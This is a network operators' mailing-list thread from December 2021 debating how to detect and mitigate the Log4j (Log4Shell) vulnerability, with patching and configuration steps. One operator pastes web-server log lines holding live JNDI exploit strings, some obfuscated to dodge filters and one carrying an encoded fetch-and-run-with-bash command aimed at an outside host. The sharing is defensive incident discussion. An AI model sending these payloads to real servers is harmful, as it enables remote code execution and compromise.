GET /$%7Bjndi:dns://45.83.64.1/securityscan-http80%7D HTTP/1.1" 301 
281 "${jndi:dns://45.83.64.1/securityscan-http80}" 
"${jndi:dns://45.83.64.1/securityscan-http80}
GET 
/?x=${jndi:ldap://${hostName}.c6rip779l9hq8g7hluigcg5131oyyyt8e.interactsh.com/a} 
HTTP/1.1" 200 - 
"${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://${hostName}.c6rip779l9hq8g7hluigcg5131oyyyt8e.interactsh.com}" 
"${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.c6rip779l9hq8g7hluigcg5131oyyyt8e.interactsh.com}

Re: Log4j mitigation

[Jörg Kost]

You can't see it. The attack vector can hide in HTTP GETs, Posts (SSL), 
in Headers, in anything related to where a Java process does logging 
with Log4j; it's innumerable. It might even evaluate from a URI itself; 
it won't use a fixed port. It's not wormy right now, but maybe it will 
soon.


We are seeing things like this since 10th of Dec. And this is only a 
typical Apache Logfile for HTTP/HTTPS, where we do logging:


${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8xNzguMjQ4LjI0Mi4xNDE6ODB8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMTc4LjI0OC4yNDIuMTQxOjgwKXxiYXNo}
GET /$%7Bjndi:dns://45.83.64.1/securityscan-http80%7D HTTP/1.1" 301 281 
"${jndi:dns://45.83.64.1/securityscan-http80}" 
"${jndi:dns://45.83.64.1/securityscan-http80}
GET 
/?x=${jndi:ldap://${hostName}.c6rip779l9hq8g7hluigcg5131oyyyt8e.interactsh.com/a} 
HTTP/1.1" 200 - 
"${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://${hostName}.c6rip779l9hq8g7hluigcg5131oyyyt8e.interactsh.com}" 
"${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.c6rip779l9hq8g7hluigcg5131oyyyt8e.interactsh.com}

RE: Log4j mitigation

[Jean St-Laurent via NANOG]

What your netflows, pflow, whatever logging system you have show on port 389, 
636 in the last 4 days?

If you reply nothing... I will admit my mistake here publicly. I will be happy 
to be wrong in your face.

Jean

-Original Message-
From: Saku Ytti  
Sent: December 13, 2021 6:33 AM
To: Jean St-Laurent 
Cc: Jörg Kost ; nanog@nanog.org
Subject: Re: Log4j mitigation

On Mon, 13 Dec 2021 at 13:31, Jean St-Laurent  wrote:

> It's possible to see it live crawling in your network. Why let something 
> harmful continue to crawl and spread?

My apologies, I missed this part. How?

-- 
  ++ytti

Re: Log4j mitigation

[Saku Ytti]

On Mon, 13 Dec 2021 at 13:31, Jean St-Laurent  wrote:

> It's possible to see it live crawling in your network. Why let something 
> harmful continue to crawl and spread?

My apologies, I missed this part. How?

-- 
  ++ytti

RE: Log4j mitigation

[Jean St-Laurent via NANOG]

In these situation it's time to unite with the server admins and not let them 
figure out all the patching. 

It's possible to see it live crawling in your network. Why let something 
harmful continue to crawl and spread?

Jean

-Original Message-
From: Saku Ytti  
Sent: December 13, 2021 6:26 AM
To: Jean St-Laurent 
Cc: Jörg Kost ; nanog@nanog.org
Subject: Re: Log4j mitigation

I don't think the implication made that solution space contains only Snake Oil 
and panic. There is also an alternative to update the log4j package, which 
deserves review before deciding between snake oil and panic.

On Mon, 13 Dec 2021 at 13:14, Jean St-Laurent via NANOG  wrote:
>
> You are right, but it's still a good place to start looking.
>
> What do you recommend? Panic?
>
> It won't help you.
>
> Jean
>
> -Original Message-
> From: Jörg Kost 
> Sent: December 13, 2021 6:01 AM
> To: Jean St-Laurent 
> Cc: Nick Hilliard ; Andy Ringsmuth 
> ; nanog@nanog.org
> Subject: Re: Log4j mitigation
>
> It's not true.
> It can pull from other ports, URLs, make DNS calls, and seems to evaluate 
> even from environment variables.
> It's a "virtual machine".
>
> On 13 Dec 2021, at 11:54, Jean St-Laurent via NANOG wrote:
>
> > Well if you look to the right you won't see it, but if you look to 
> > the left you will see it.
> >
> > Meaning, that for a successful attack to work, the infected host 
> > needs to first download a payload from ldap.
> >
> > And ldap runs on port 389/636.
> >
> > You probably can't see the log4j vulnerability in the https, but you 
> > should be able to see your servers querying weird stuff on internet 
> > on port 389/636.
> >
> > Just don't allow your important hosts to fetch payload on internet 
> > on port 389/636.
> >
> > Et voila! Look to the left, not to the right.
> >
> > Jean
> >
>


--
  ++ytti

Re: Log4j mitigation

[Saku Ytti]

I don't think the implication made that solution space contains only
Snake Oil and panic. There is also an alternative to update the log4j
package, which deserves review before deciding between snake oil and
panic.

On Mon, 13 Dec 2021 at 13:14, Jean St-Laurent via NANOG  wrote:
>
> You are right, but it's still a good place to start looking.
>
> What do you recommend? Panic?
>
> It won't help you.
>
> Jean
>
> -Original Message-
> From: Jörg Kost 
> Sent: December 13, 2021 6:01 AM
> To: Jean St-Laurent 
> Cc: Nick Hilliard ; Andy Ringsmuth ; 
> nanog@nanog.org
> Subject: Re: Log4j mitigation
>
> It's not true.
> It can pull from other ports, URLs, make DNS calls, and seems to evaluate 
> even from environment variables.
> It's a "virtual machine".
>
> On 13 Dec 2021, at 11:54, Jean St-Laurent via NANOG wrote:
>
> > Well if you look to the right you won't see it, but if you look to the
> > left you will see it.
> >
> > Meaning, that for a successful attack to work, the infected host needs
> > to first download a payload from ldap.
> >
> > And ldap runs on port 389/636.
> >
> > You probably can't see the log4j vulnerability in the https, but you
> > should be able to see your servers querying weird stuff on internet on
> > port 389/636.
> >
> > Just don't allow your important hosts to fetch payload on internet on
> > port 389/636.
> >
> > Et voila! Look to the left, not to the right.
> >
> > Jean
> >
>


-- 
  ++ytti

Re: Log4j mitigation

[Jörg Kost]

On 13 Dec 2021, at 12:11, Jean St-Laurent wrote:

> You are right, but it's still a good place to start looking.

It is not. It will give you false assumptions.

>
> What do you recommend? Panic?
>

Yes. Out in public for four days, you better should assume breach by now.

RE: Log4j mitigation

[Jean St-Laurent via NANOG]

You are right, but it's still a good place to start looking.

What do you recommend? Panic?

It won't help you.

Jean

-Original Message-
From: Jörg Kost  
Sent: December 13, 2021 6:01 AM
To: Jean St-Laurent 
Cc: Nick Hilliard ; Andy Ringsmuth ; 
nanog@nanog.org
Subject: Re: Log4j mitigation

It's not true.
It can pull from other ports, URLs, make DNS calls, and seems to evaluate even 
from environment variables.
It's a "virtual machine".

On 13 Dec 2021, at 11:54, Jean St-Laurent via NANOG wrote:

> Well if you look to the right you won't see it, but if you look to the 
> left you will see it.
>
> Meaning, that for a successful attack to work, the infected host needs 
> to first download a payload from ldap.
>
> And ldap runs on port 389/636.
>
> You probably can't see the log4j vulnerability in the https, but you 
> should be able to see your servers querying weird stuff on internet on 
> port 389/636.
>
> Just don't allow your important hosts to fetch payload on internet on 
> port 389/636.
>
> Et voila! Look to the left, not to the right.
>
> Jean
>

Re: Log4j mitigation

[Jörg Kost]

It's not true.
It can pull from other ports, URLs, make DNS calls, and seems to 
evaluate even from environment variables.

It's a "virtual machine".

On 13 Dec 2021, at 11:54, Jean St-Laurent via NANOG wrote:

Well if you look to the right you won't see it, but if you look to the 
left you will see it.


Meaning, that for a successful attack to work, the infected host needs 
to first download a payload from ldap.


And ldap runs on port 389/636.

You probably can't see the log4j vulnerability in the https, but you 
should be able to see your servers querying weird stuff on internet on 
port 389/636.


Just don't allow your important hosts to fetch payload on internet on 
port 389/636.


Et voila! Look to the left, not to the right.

Jean

RE: Log4j mitigation

[Jean St-Laurent via NANOG]

Well if you look to the right you won't see it, but if you look to the left you 
will see it.

Meaning, that for a successful attack to work, the infected host needs to first 
download a payload from ldap.

And ldap runs on port 389/636. 

You probably can't see the log4j vulnerability in the https, but you should be 
able to see your servers querying weird stuff on internet on port 389/636. 

Just don't allow your important hosts to fetch payload on internet on port 
389/636.

Et voila! Look to the left, not to the right.

Jean

-Original Message-
From: NANOG  On Behalf Of Nick 
Hilliard
Sent: December 11, 2021 7:12 AM
To: Andy Ringsmuth 
Cc: nanog@nanog.org
Subject: Re: Log4j mitigation

Andy Ringsmuth wrote on 11/12/2021 03:54:
> The intricacies of Java are over my head, but I’ve been reading about this 
> Log4j issue that sounds pretty bad.
> 
> What do we know about this? What, if anything, can a network operator do to 
> help mitigate this? Or even an end user?

The payload can be contained in https, so there is no way of detecting / 
stopping this at the network level.  Installations need to be upgraded / fixed.

https://logging.apache.org/log4j/2.x/security.html

1. upgrade log4j to 2.15.0 and restart all java apps 2. start java with "-D 
log4j2.formatMsgNoLookups=true" (v2.10+ only) 3. start java with 
"LOG4J_FORMAT_MSG_NO_LOOKUPS=true" environment variable (v2.10+ only) 4. zip -q 
-d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

There's a lot of scanning going on at the moment, so if you have an exposed 
java instance running something which includes log4j2, you may already be 
compromised.

Nick